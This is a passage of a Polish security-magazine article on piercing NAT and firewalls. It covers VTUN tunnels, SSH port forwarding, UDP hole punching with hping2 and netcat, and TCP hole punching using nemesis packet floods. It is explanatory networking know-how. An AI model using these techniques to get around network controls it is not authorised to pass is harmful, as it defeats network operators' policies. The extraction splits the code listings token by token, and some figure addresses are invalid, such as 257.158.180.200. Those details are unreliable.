su źródłowego, który będzie używa-
ny do osiągnięcia danej sieci. Na ho-
ście A wywołujemy:

ip route add 192.168.18.0/24 dev
tap1 src 192.168.19.100

Na hoście B:

ip route add 192.168.19.0/24 dev
tap1 src 192.168.18.200

Natomiast hosta C uczymy przeka-
zywania pakietów oraz żądań ARP
i tego gdzie znajdują się sieci lokal-
ne A i B.

Po wykonaniu powyższego zbio-

ru komend tunel powinien już dzia-
łać. Wysyłanie pakietów ping ko-
mendą

ping 192.168.18.200

wywoła-

ną na hoście A powinno spowodo-
wać przyjście pakietów ICMP Echo
Reply z hosta B.

Niektóre programy (na przykład

nmap) nie respektują parametru src
polecenia ip i używają adresu IP in-
terfejsu, przez który wychodzą pakie-
ty. Pakiety dochodzące do drugiego
końca tunelu mają adres źródłowy in-
terfejsu tunelującego czyli w naszym
przypadku pakiety docierające z A
do B mają adres 10.1.0.2. Aby host
B umiał odpowiedzieć na taki pakiet,
trzeba skonfigurować mu dodatkową
ścieżkę routingu do sieci hosta A.

Sytuacja nie jest tak prosta, jeśli

nie mamy uprawnień administratora
na hoście C. Jednak i w tym przy-
padku można zestawić tunel. Do te-
go celu użyjemy dodatkowo tunelo-
wania SSH. Host B połączy się z ho-
stem C przekierowując swój lokalny
port 5000 na port 5000 hosta C:

ssh -f -N -L5000:localhost:5000 uzytkow
nikB@157.158.180.200

Następnie host A wykona połącze-
nie, jednakże przekierowując zdalny
port 5000 na swój lokalny:

ssh -f -N -R5000:localhost:5000 uzytkow
nikA@157.158.180.200

Teraz wystarczy skonfigurować

VTUN jako serwer na hoście A i użyć

VTUN w trybie klienta na hoście B.
Host B łącząc się na adres localhost:

5000 łączy się do serwera VTUN
działającego w drugiej sieci lokalnej.
Warto przy tym wiedzieć, że ssh za-
pewnia dodatkową ochronę przesy-
łanych danych. De facto w tym roz-
wiązaniu mamy podwójną ochronę.
Pierwszą zapewnia sam mechanizm

VTUN, drugą SSH. Jednak bycie pa-
ranoikiem czasami popłaca.

Przedstawione wyżej techniki

nie wykorzystywały specyficznych

właściwości NAT-a. Jest to ponie-
kąd ich zaletą, gdyż mamy pewność,
że z dużym prawdopodobieństwem,
w każdym przypadku uda nam się
nawiązać połączenie. Techniki, któ-
re polegają na wykorzystaniu zacho-
wania NAT są o wiele ciekawsze, ale
nie dają tej pewności.

Drugie podejście

Jedną z takich technik jest STUN
(Simple Traversal of User Datagram

Protocol (UDP) Through Network

Address Translators (NATs)). Jak
można wywnioskować z nazwy, spo-
sób na przebijanie NAT dotyczy wy-
łącznie protokołu UDP. Jednak, jak
zostanie pokazane poniżej, technikę
tę da się również zastosować wobec
protokołu TCP.

Załóżmy, że komputery A i B

chcą wysyłać do siebie bezpośred-
nio datagramy. Aby to osiągnąć łą-
czą się z serwerem pośredniczącym
C. Przyjmijmy, że sieć komputera A
to 192.168.19.0/24 a sieć kompute-
ra B to 192.168.18.0/24. Komputery
A i B posiadają adresy w swoich sie-
ciach kolejno 100 i 200.

Interfejsy publiczne routerów R1 i

R2 to 157.158.181.42 i 157.158.180.235,
a komputer pośredniczący posiada
adres 157.158.180.200.

Gdy komputer A wysyła pakiet

UDP do komputera C poprzez router

R1, to router zapamiętuje, że taka sy-

Rysunek 7.

Zasada działania

protokołu TURN

Kanał

komunikacyjny

C

R1

A

B

R2

INTERNET

Listing 1.

Host C

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap1

/

forwarding

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap0

/

forwarding

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap1

/

proxy_arp

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap0

/

proxy_arp

ip

route

add

192.168

.

19.0

/

24

dev

tap0

ip

route

add

192.168

.

18.0

/

24

dev

tap1

background image
background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

48

tuacja miała miejsce i pozwala na
dwustronną komunikację pomiędzy
komputerami A i C. Na przykład, je-
śli A wyśle pakiet z źródłowym portem
3000 i docelowym 5000 do kompute-
ra C, to w momencie przechodzenia
przez router z NAT R1, adres źródłowy
(czyli 192.168.19.100) zostanie zamie-
niony na adres interfejsu zewnętrzne-
go – 157.158.181.42. Jeśli NAT na ro-
uterze R1 zamienia również porty źró-
dłowe to zostanie zamieniony również
ów port. Aby utrudnić sytuację załóż-
my, że R1 jak i R2 zamieniają nume-
ry portów połączeń zza NAT. Por-
ty źródłowe pakietów wychodzących
są z zakresu 30000-60000. Wraca-
jąc do naszego pakietu – po trans-
lacji adresu źródłowego i portu źró-

dłowego, wędruje on w kierunku ma-
szyny C z ustawionym adresem źró-
dłowym 157.158.181.42 i portem źró-
dłowym 50025. Dodatkowo router R1
zapamiętuje to połączenie. Wszyst-
kie pakiety, które będą pochodzić od
maszyny C, a ich port docelowy bę-
dzie równy 50025 (port źródłowy rów-
ny 5000) zostaną poddane translacji
odwrotnej – czyli zostanie przywróco-
ny adres docelowy maszyny A i orygi-
nalny port – 3000. W ten sposób A i C
mogą dokonywać dwustronnej komu-
nikacji. Jeżeli B również nawiąże po-
łączenie z C, to C będzie miał łącz-
ność zarówno z A i B. Klienci A i B
muszą dość często komunikować się
z C, aby routery R1 i R2 nie usunę-
ły wpisów w swoich tablicach transla-

cji. Teraz C może poinformować A o
adresie i porcie źródłowym B (tym po
translacji) i powiadomić B o adresach
i portach A. Załóżmy, że żądanie B
połączenia na port 5000 komputera C
z portu 4000 zostało zamienione tak,
że port źródłowy po przejściu przez
NAT wynosi 50000. Gdy zaistnieje
możliwość komunikowania się A i B
za pomocą techniki TURN, kompu-
tery mogą dokonać próby połączenia
bezpośredniego. W tym miejscu na-
leży trochę poszerzyć naszą wiedzę
o mechanizmie NAT. W momencie
otwarcia tak zwanego tunelu i zma-
powania lokalnego adresu i portu na
zewnętrzny adres i port poszczególne
NAT inaczej zachowują się w chwili,
w której zewnętrzna maszyna (nie
należąca do konwersacji) wyśle pa-
kiet do routera łączącego sieć lokalną
z Internetem na zmapowany adres
i port. Sytuację tą obrazuje rysunek 9.

Jeszcze więcej

rodzajów NAT

Równolegle z zaproponowanym
wcześniej podziałem, literatura kla-
syfikuje NAT ze względu na zacho-
wanie w takich sytuacjach jako:

• Full cone NAT;
• Restricted cone NAT;
• Port restricted cone NAT;
• Symmetric NAT.

Wszystkie mają wspólną cechę. A
mianowicie taką, że konsekwencją
przejścia pakietu przez router jest
zmiana adresu na zewnętrzny, pod-
czas gdy port źródłowy, o ile to jest
możliwe, zostanie zachowany. Ce-
chami charakterystycznymi pierwsze-
go jest między innymi to, że host nie
należący do konwersacji, chcąc wy-
słać pakiet do lokalnego komputera,
wysyła go na adres zewnętrzny ho-
sta za NAT. Ponadto jeśli host w sieci
lokalnej użyje tego samego portu źró-
dłowego do skomunikowania się z in-
nym hostem w Internecie, to NAT nie
zmieni portu źródłowego po translacji.
W swoim działaniu przypomina czę-
ściowo dwukierunkowy NAT, o którym
wspomniano wcześniej.

Drugi – Restricted cone NAT, za-

chowuje się tak jak Full cone NAT z tą

Listing 2.

Plik konfiguracyjny VTUN na komputerze pośredniczącym C

options

{

port

5000

;

syslog

daemon

;

ifconfig

/

sbin

/

ifconfig

;

}

default

{

speed

0

;

}

hosta

{

passwd

Ma

&

^

TU

;

type

ether

;

device

tap0

;

proto

tcp

;

compress

lzo

:

1

;

encrypt

yes

;

stat

yes

;

keepalive

yes

;

up

{

ifconfig

"%% 10.1.0.1 netmask 255.255.255.0"

;

}

;

down

{

# Shutdown tap device.

ifconfig

"%% down"

;

}

;

}

hostb

{

passwd

Ma

&

^

TU

;

type

ether

;

device

tap1

;

proto

tcp

;

compress

lzo

:

1

;

encrypt

yes

;

stat

yes

;

keepalive

yes

;

up

{

ifconfig

"%% 10.2.0.1 netmask 255.255.255.0"

;

}

;

down

{

ifconfig

"%% down"

;

}

;

}

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

49

różnicą, że wysłany przez zewnętrz-
nego hosta pakiet dotrze do sieci lo-
kalnej wyłącznie w przypadku, gdy
host z wewnątrz sieci wysłał wcze-
śniej pakiet do zewnętrznego hosta.
Port restricted cone NAT dodaje ob-
ostrzenie w postaci konieczności za-
chowania numerów portów. Wysłany
przez zewnętrznego hosta pakiet uży-
wający portu źródłowego X i portu do-
celowego Y dotrze do hosta za NAT
wyłącznie wtedy, gdy host ten wyśle
najpierw pakiet do zewnętrznego ho-
sta, jego port docelowy to X, a jego
port źródłowy po opuszczeniu route-
ra NAT będzie zmapowany na Y. Naj-
trudniejszy do przebicia jest Symme-

tric NAT, gdyż ograniczenie dotyczy
w tym przypadku nie tylko adresów,
ale także portów źródłowych i doce-
lowych, a wszystkie parametry są uni-
kalne dla każdego połączenia. Tylko
komputer, który używa tej samej pary
parametrów, odpowiadając pakietem
na adres i port źródłowy, skomunikuje
się z hostem zza NAT. Dodatkowo, je-
śli komputer z sieci lokalnej użyje tego
samego portu źródłowego do skomu-
nikowania się z innym adresem, to po
opuszczeniu NAT, port źródłowy zo-
stanie zmieniony. Zachowanie wyżej
opisanych NAT zobrazowane jest na
rysunkach nr 11,12 oraz 13.

Symetryczny NAT jest często

określany jako not well behaved.
Jednak nawet używając tego typu
NAT jesteśmy w stanie tworzyć bez-
pośrednie połączenia. Polegają one
na przewidywaniu portu źródłowego,
który zostanie wybrany jako kolejny.

Tunel UDP

Załóżmy, że NAT routerów R1 i R2 to
Port restricted cone NAT, ponieważ
takie są najczęściej spotykane obec-
nie. Port restricted cone NAT ma tą
ciekawą właściwość, że jest well be-

haved. Oznacza to ni mniej ni więcej,
że tak długo, jak host A będzie używał
portu źródłowego równego 3000 do
wysłania pakietu, tak długo NAT bę-
dzie używał tego samego portu (czyli
50025). Wracając do sytuacji opisa-
nej wcześniej, hosty A i B mają po-
łączenia z C, host A wysyła pakiet
w kierunku routera R2 z ustawio-
nym portem źródłowym 3000 i por-

tem docelowym 50000. W momen-
cie translacji – na routerze R1 zo-
stanie zamieniony adres i port źró-
dłowy tak samo, jak w przypadku łą-
czenia się z hostem C. Dodatkowo
zostanie odnotowane, aby wpusz-
czać do wewnątrz ruch pochodzący
od routera R2 przychodzący z por-
tu 50000. Router R2 odebrawszy pa-

kiet odrzuci go, gdyż host B jeszcze
nie przestawił swojego NAT tak, aby
akceptował połączenia z R1. W za-
leżności od konfiguracji routera może
zostać wysłany pakiet ICMP port
unreachable.

Załóżmy, że NAT R2 nie wysłał

takiego pakietu. Gdy B wyśle pakiet
(używając oczywiście tego samego

Rysunek 8.

Schemat przykładowej sieci

200.158.180.200

157.158.181.42

192.168.19.100

192.168.18.200

157.158.180.235

INTERNET

Połączenie

R1

R2

A

B

C

Rysunek 9.

Host nie należący do konwersacji łączący się do zmapowanego

połączenia na routerze

200.158.180.200

157.158.181.42

192.168.19.100

157.158.180.235

INTERNET

Połączenie

R1

A

B

C

SRC:157.158.181.42:50025

DST 157.158.180.200:5000

SRC:157.158.180.235:4000

DST 157.158.181.42:50025

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

50

portu źródłowego) do R1, to ten za-
mieni adres i port docelowy pakietu
gdyż został wcześniej przeprogramo-
wany przez próbę połączenia się A
z B. Teraz A i B mogą się bezpośred-
nio komunikować wysyłając pakie-
ty UDP na swoje zewnętrzne adresy
i porty. W całej komunikacji zaginął
wyłącznie jeden pakiet. Jest to cena,

jaką należy zapłacić za możliwość
bezpośredniego połączenia.

Powyższy schemat ma zastoso-

wanie w przypadku, gdy NAT na R1
i R2 zmieniają porty źródłowe.
Sprawa się nieco upraszcza w mo-
mencie, gdy NAT nie zamienia por-
tów źródłowych. W tym przypadku
nic nie stoi na przeszkodzie, by do-

konać próby nawiązania połączenia
bez pośrednika. Aby otworzyć tunel
w NAT R1 należy wysłać z A pakiet
w kierunku R2.

Tunel UDP w praktyce

Do stworzenia tunelu UDP po-
trzebne będą nam następują-
ce narzędzia: netcat, hping2 oraz

Rysunek 10.

Dzialanie Full Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 158.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Rysunek 11.

Działanie Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:3000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

51

skrypt napisany w języku Perl z Li-
stingu nr 3.

Skrypt z Listingu nr 3 uruchamia-

my na komputerze C. Jego zada-
niem jest nasłuchiwanie na porcie nr
5000 i wypisywanie na ekran termi-
nala parametrów hostów łączących

się z C oraz wiadomości jakie owe
hosty wysyłają.
Na komputerze A uruchamiamy

netcata:

netcat -l -u -p 3000

Spowoduje to nasłuchiwanie ma-
szyny A na porcie 3000. Zawartość
wszystkich pakietów zaadresowa-
nych do A i posiadających port do-
celowy 3000 zostanie wypisana na
ekranie terminala. Następnie otwie-
ramy tunel w NAT na obu maszy-

Rysunek 12.

Działanie Port Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Rysunek 13.

Działanie Symmetric NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:7000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:7000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180.200:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

52

nach. Na A musimy użyć portu źró-
dłowego równego 3000, ponieważ
na tym porcie netcat nasłuchuje pa-
kietów:

hping2 157.158.180.200 -2 -s 3000 -p
5000 -c 1

spowoduje to pojawienie się na ter-
minalu C komunikatu

[157.158.181.42: 3000]>

świadczącego o tym, że pakiet
zza NAT dotarł do R1 nie zmie-
nił portu źródłowego. Następnie

czynność tą powtarzamy na kom-
puterze B:

hping2 157.158.180.200 -2 -s 4000 -p
5000 -c 1

co z kolei powinno na C spowodo-
wać powstanie komunikatu:

Rysunek 14.

Poszczególne fazy tworzenia tunelu UDP

257.158.180.200

257.158.180.200

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

Pakiet UDP

DST=157.158.181.42:5000

SRC=157.158.180.200:50000

O zawartości:

"157.158.180.235:50025"

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.180.200:50000

O zawartości:

"157.158.181.42:50000"

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

257.158.180.200

192.168.18.200

192.168.18.200

192.168.19.100

157.158.181.42

157.158.181.42

157.158.180.235

157.158.181.42

157.158.180.235

157.158.180.235

157.158.181.42

157.158.180.235

192.168.19.100

192.168.18.200

192.168.18.200

192.168.19.100

192.168.19.100

257.158.180.200

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.42:50000

Pakiet UDP

DST=157.158.181.42:50000

SRC=157.158.180.235:50025

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

53

[157.158.180.235: 4000]>

Teraz na komputerze A przestawia-
my nat w R1 tak, aby akceptował
pakiety od R2:

hping2 157.158.180.235 -2 -s 3000 -p
4000 -c 1

Na B przestawiamy NAT R2 tak, aby
akceptował pakiety od R1:

hping2 157.158.181.42 -2 -s 4000 -p
3000 -c 1

Teraz możemy na B uruchomić net-
cata z parametrami:

nc -p 4000 157.158.181.42 3000 -u

Po wykonaniu ostatniego polecenia,
wszystko co wpiszemy w okienko na
hoście B pojawi się w okienku netcat
hosta A.

Tworzenie tunelu tym sposobem

nie jest zbyt użyteczne. Na szczęście
powstały narzędzia które automatycz-
nie wysyłają sekwencje wiadomości
tworzących połączenie. Dość cieka-
wym narzędziem jest skrypt perlowy

nat-traverse dostępny na [13]. Aby
osiągnąć identyczny rezultat jak w po-
wyższym przykładzie, wystarczy na
maszynie A wykonać polecenie:

nat-traverse 3000:157.158.180.235:4000

a na maszynie B:

nat-traverse 4000:157.158.181.42:3000

Program ten posiada jedną ciekawą
opcję. Jest nią możliwość wywołania
dowolnego polecenia i przekierowa-
nie strumieni – wejściowego i wyj-
ściowego w ten sposób, że wszyst-
ko co polecenie wypisze zostanie
wysłane przez gniazdo do drugiego
komputera. Wszystko co przyjdzie
z tunelu zostanie przekierowane ja-
ko strumień standardowego wejścia
do polecenia. Za pomocą tej opcji
można przesyłać katalogi pomiędzy
komputerami:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=tar cj
katalog
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=cat >
katalog.tar.bz2

Możemy również za pomocą tego
narzędzia przekazywać połączenia
TCP. Wystarczy wykorzystać do te-
go celu program netcat:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=nc -lvp 5000
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=nc -v
localhost 22

Rysunek 15.

Czasy transmisji pakietów

C

t1

t2

t3

t4

B

A

NAT A

NAT B

Rysunek 16.

Trzy fazy nawiązywania połączenia

Komputer R1

IP: 157.158.181.42

S=157.158.181.42.3000

D=157.158.180.200:5000

SEQ:10000

ACK:0

FLAGS: SYN

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

Komputer C

IP: 157.158.180.200

Listing 3.

Plik konfiguracyjny

VTUN na komputerze B

options

{

port

5000

;

timeout

60

;

ifconfig

/

sbin

/

ifconfig

;

}

hostb

{

passwd

Ma

&

^

TU

;

type

ether

;

device

tap1

;

proto

tcp

;

up

{

ifconfig

"%% 10.2.0.2

netmask 255.255.255.0"

;

}

;

down

{

ifconfig

"%% down"

;

}

;

}

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

54

Teraz można połączyć się z hosta
A do serwera ssh działającego na
hoście B poprzez połączenie z in-
terfejsem loopback na port 5000.
Za pomocą netcat można również
przekazywać połączenia UDP. Sko-
ro można przekazywać połącze-
nia UDP oraz TCP, to nic nie stoi na
przeszkodzie aby uruchomić VPN
działający poprzez ten tunel. Wy-
starczy przekazać lokalny port tcp
5000 do zdalnego hosta, na którym
działa VTUN oraz połączyć się
klientem VTUN do localhost:5000.
Należy przy tym pamiętać, że po
pierwsze tracimy niezawodność
protokołów takich jak TCP a po dru-
gie sam proces enkapsulacji posia-
da duży narzut danych (TCP w IP
w ethernet w UDP).

Jeśli firewall na routerach jest

skonfigurowany tak, aby odpowiadać

komunikatami ICMP na pakiety UDP
których „nie zna”, to stworzenie tune-
lu może się nie powieść, ponieważ
niektóre NAT reagują na komunika-
ty ICMP. Jeśli pakiet hosta A dotrze
do NAT B przed wysłaniem przez B
UDP w kierunku A, to może dojść do
sytuacji, w której R2 odpowie pakie-
tem ICMP (port unreachable) do R1,
co w przypadku niektórych NAT mo-
że uniemożliwić połączenie.

Przeszkoda ICMP

Jeśli nasz NAT reaguje na tego
typu pakiety ICMP, to można za-
mienić jeden typ ICMP na inny.

Wystarczy pierwszemu pakie-

towi wysłanemu w kierunku dru-
giego routera ustawić odpowiednio
niską wartość TTL. Wartość TTL
jest zmniejszana wraz z przejściem
przez każdy router. Gdy osiągnie

zero, następuje odrzucenie pakietu
i wysyłanie komunikatu ICMP nr 36

time exceeded in-transit.

Kolejną kwestią jest synch-

ronizacja całej operacji. Jeśli NAT
wysyła pakiety ICMP oznacza to,
że host w sieci lokalnej nie wysłał
jeszcze pakietu przestawiającego
NAT. Niektóre wersje NAT w takiej
sytuacji zaczynają zmieniać porty
źródłowe wychodzących pakietów,
co znacznie utrudnia komunikację.

Aby pakiety dotarły do obu NAT

dokładnie w tym samym momencie
należy zapewnić aby:

t1+t3=t2+t4

z czego wynika że każdy z hostów
musi przed wysłaniem pakietu po-
czekać:

T = max(t1+t3, t2+t4) – z

gdzie z jest sumą czasów transmi-
sji pakietów danego hosta z C oraz
czasu wędrówki pakietu do przeciw-
ległego NAT

Jednak w większości przypad-

ków tak dokładna synchronizacja nie
jest potrzebna. Wystarczy sprawić,
aby hosty A oraz B wysłały pakiety
w tym samym momencie czyli:

T = max(t1, t2) – z

Listing 4.

Skrypt w języku Perl dzięki któremu dowiemy się jak

mapowane są połączenia w naszym NAT

#!/usr/bin/perl -w

use

strict

;

use

IO

::

Socket

;

my

(

$

sock

, $

remote

, $

message

);

$

sock

=

IO

::

Socket

::

INET

->

new

(

LocalPort

=>

5000

,

Proto

=>

'

udp

'

)

or

die

"socket: $@"

;

while

(

$

remote

=

$

sock

->

recv

(

$

message

,

1024

))

{

my

(

$

port

, $

addr

)

=

sockaddr_in

(

$

remote

);

my

$

host_str

=

inet_ntoa

(

$

addr

);

printf

"[%s:%5d]> %s

\n

"

, $

host_str

, $

port

, $

message

;

}

die

"recv: $!"

;

Rysunek 17.

Używanie TTL do stworzenia połączenia P2P

NAT_A

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN-ACK

SYN-ACK

ACK

ACK

SYN

(Małe TTL

NAT_B

NAT_B

NAT_A

ICMP

ICMP

ICMP

ICMP

ACK

ACK

SYN

ACK

ICMP

Wartosc TTL

Spoof

SYN-ACK

Spoof

SYN-ACK

Wartosc TTL

NAT_A

NAT_B

C

C

Wartość TTLA

Wartość TTLA

Wartość TTLB

Wartość TTLB

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

55

Czas na TCP

Techniki UDP hole punching są za-
zwyczaj skuteczne, ponieważ pro-
tokół UDP nie jest tak skomplikowa-
ny jak na przykład TCP. Jeśli używa-
my innych protokołów, takich jak TCP,
to sytuacja się skomplikuje, ponieważ
posiadaon określony schemat nawią-
zywania połączenia, którego popraw-
ności mogą pilnować nie tylko po-
szczególne implementacje NAT, ale
również systemy antywłamaniowe,

firewalle itp. Jeśli już opanujemy tech-
nikę przebijania NAT za pomocą UDP,
to zawsze możemy zastosować en-
kapsulacje TCP czy nawet całego IP
w UDP tworząc pełny tunel IP. Pomi-
mo iż TCP jest protokołem bardziej
złożonym niż UDP istnieją metody po-
zwalające na stworzenie bezpośred-
nich połączeń pomiędzy komputera-
mi zza różnych NAT.

Na początek należy przyjrzeć się

metodom nawiązywania połączenia
TCP i zastanowić się, co przy sto-
sowaniu technik może zakończyć się
niepowodzeniem na poszczególnych
etapach połączenia.

Zainicjalizowanie połączenia na-

stępuje w trzech etapach. W pierw-
szym etapie klient wysyła pakiet
z ustawioną flagą SYN, która świad-
czy o chęci nawiązania połączenia.
Jeśli zdalny host zechce zaakcepto-
wać połączenie, to w drugim etapie
odsyła pakiet z ustawioną flagą SYN
oraz ACK. W trzecim etapie inicjator
połączenia potwierdza odebranie in-
formacji od serwera wysyłając pakiet
z ustawioną flagą ACK. Trzystopnio-
wy schemat nawiązywania połącze-
nia ma dodatkowo na celu zsynchro-
nizowanie numerów sekwencyjnych
używanych do zapewnienia popraw-
ności transmitowanych danych. Flaga
SYN ustawiana w pakietach informu-
je, że zawiera on numer sekwencyjny.
Każde połączenie TCP ma dwa takie
numery. Każda ze stron posiada wła-
sną liczbę reprezentującą pewnego
rodzaju licznik wysłanych danych.

Aby zastosować techniki przebija-

nia firewall-i używając protokołu TCP,
należy spowodować, by obie strony
połączenia przeszły poprawnie przez
trzy etapy. Jeśli któryś z etapów zo-
stanie pominięty, to nawiązanie po-
łączenia wymaga zastosowania do-

datkowych operacji. Należy wiedzieć,
że niektóre implementacje NAT pilnu-
ją tego, aby poszczególne kroki połą-
czenia następowały dokładnie po so-
bie. Np. nie wpuszczą pakietu z usta-
wioną flagą SYN do sieci lokalnej, je-
śli oczekiwany jest pakiet z ustawio-
nymi flagami SYN-ACK. Dodatko-
wo NAT mogą pilnować zachowania
poprawności numerów sekwencyj-
nych w trzech etapach połączenia.
Jądra Linux z serii 2.4 są bardzo
tolerancyjne jeśli chodzi o przestrze-
ganie tych zasad.

Aby pakiety przechodziły z jed-

nej sieci lokalnej do drugiej wystar-
czy wysyłać dużą ilości odpowiednio
sformatowanych ramek z A oraz B.
Na hoście A uruchamiamy program
nemesis, który będzie wysyłał ramki
z ustawionymi flagami SYN-ACK:

#while true; do nemesis tcp -x 3000
-y 3000 -fSA -s 0 -a 0 -S
192.168.19.100 -D 157.158.180.235; done

Z hosta B musimy wysyłać ramki
TCP z ustawioną flagą SYN:

#while true; do nemesis tcp -x 3000
-y 3000 -fS -s 0 -a 0 -S 192.168.18.200-D
157.158.181.42; done

Aby sprawdzić czy do B dociera-
ją ramki A z ustawionymi flagami

SYN-ACK, to najprościej posłużyć
się tcpdumpem:

#tcpdump -n 'tcp[13]==0x12'

Filtr tcpdump powinien przepuścić
tylko te ramki, które mają ustawione
flagi SYN oraz ACK.

Nie takie TCP straszne

Próba połączenia dwóch kompute-
rów w dwóch różnych sieciach lokal-
nych wykorzystujących TCP może
przebiegać prawie analogicznie do
przypadku posługiwania się protoko-
łem UDP. Przypuśćmy, że NAT na
R1 i R2 nie modyfikuje portów źródło-
wych. Każdy z klientów A i B otwiera
połączenie nasłuchujące (dla uprosz-
czenia załóżmy, że na porcie 3000).
Następnie obydwa komputery wyko-
nują połączenie do C na port 5000

W Sieci

http://news.zdnet.com/2100-1009_22-842973.html – artykuł przewidujący wy-

czerpanie adresów IP w 2005roku;

http://bgp.potaroo.net/ipv4/ – szczegółowy raport przewidujący wykorzystanie ad-

resów IP w przyszłości;

http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_8-3/ipv4.html

– raport na temat „konsumpcji” adresów IP;

http://nutss.gforge.cis.cornell.edu/pub/imc05-tcpnat/ – analiza i opis technik prze-

bijania NAT i firewalli;

http://www.brynosaurus.com/pub/net/p2pnat/ – opis technik przebijania NAT

z użyciem UDP i TCP;

http://freshmeat.net/projects/nat-traverse/ – biblioteka wykorzystująca opisane

w artykule techniki;

http://nutss.gforge.cis.cornell.edu/stunt.php – strona domowa STUNT (Simple

Traversal of UDP Through NATs and TCP);

http://freshmeat.net/projects/stund/ – strona domowa klienta i serwera używają-

cego STUN;

http://vtun.sourceforge.net/ – oprogramowanie pozwalające stworzyć wirtualny tu-

nel ethernetowy enkapsulowany w TCP lub UDP;

http://openvpn.net/ – implementacja VPN bardziej zaawansowana niż VTUN;
• Linux Server Hacks, Oreilly 2003 – znajdziemy w tej książce wiele ciekawych po-

rad. Między innymi opis tunelowania VPN w SSH, który został skrótowo opisany
w artykule;

http://samy.pl/chownat/ – strona z której możemy pobrać program chownat;
http://linide.sourceforge.net/nat-traverse/ – tutaj znajdziemy skrypt nat-traverse;
http://www.cis.nctu.edu.tw/~gis87577/xDreaming/XSTUNT/index.html – tutaj

znajduje się biblioteka XSTUNT oraz przykładowy program.

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

56

używając portu 3000 jako portu źró-
dłowego (muszą przed połączeniem
użyć polecenia „bind” na otwartym
gnieździe). W tym momencie klienci
